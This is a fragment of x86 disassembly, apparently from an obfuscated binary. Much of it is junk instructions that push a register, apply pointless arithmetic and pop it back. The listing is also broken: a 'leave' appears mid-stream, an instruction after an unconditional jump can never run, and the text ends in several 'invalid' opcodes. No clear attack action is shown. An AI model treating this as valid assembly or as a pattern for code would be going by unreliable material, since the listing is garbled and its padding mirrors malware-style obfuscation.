or edx, 0x10660
pop edx
cmp dword [ebp - 0xc68], 0
jne 0x407449
mov dword [ebp - 0x2a8], 0
mov edx, dword [ebp - 0xc68]
mov dword [ebp - 0x4ec], edx
push edi
xor edi, 0xdf27
and edi, 0x5b11
pop edi
push edx
add edx, 0x11e38
pop edx
push edx
or edx, 0xec15
and edx, 0xe863
xor edx, 0x16c5b
pop edx
push eax
and eax, 0xc70a
pop eax
lea eax, [ebp - 0x1628]
mov dword [ebp - 0xc64], eax
mov ecx, dword [ebp - 0x4ec]
mov edx, dword [ecx + 0x30]
mov dword [ebp - 0xc60], edx
xor eax, eax
mov word [ebp - 0x20c], ax
push dword [ebx]
leave
mov word [ebp - 0x40], cx
push esi
push eax
add esp, 4
xor esi, 0x14926
add esi, 0xc88d
xor esi, 0x16009
sub esi, 0x11037
pop esi
push ecx
sub ecx, 0x5475
xor ecx, 0xc5fe
jmp 0x4074e2
pop ecx
mov edx, dword [ebp - 0xc60]
mov ax, word [edx]
mov word [ebp - 0xf92], ax
mov ecx, dword [ebp - 0xc60]
add ecx, 2
mov dword [ebp - 0xc60], ecx
mov dx, word [ebp - 0xf92]
mov word [ebp - 0x20c], dx
mov eax, dword [ebp - 0xc64]
mov cx, word [eax]
invalid
invalid
invalid
insb byte es:[edi], dx
invalid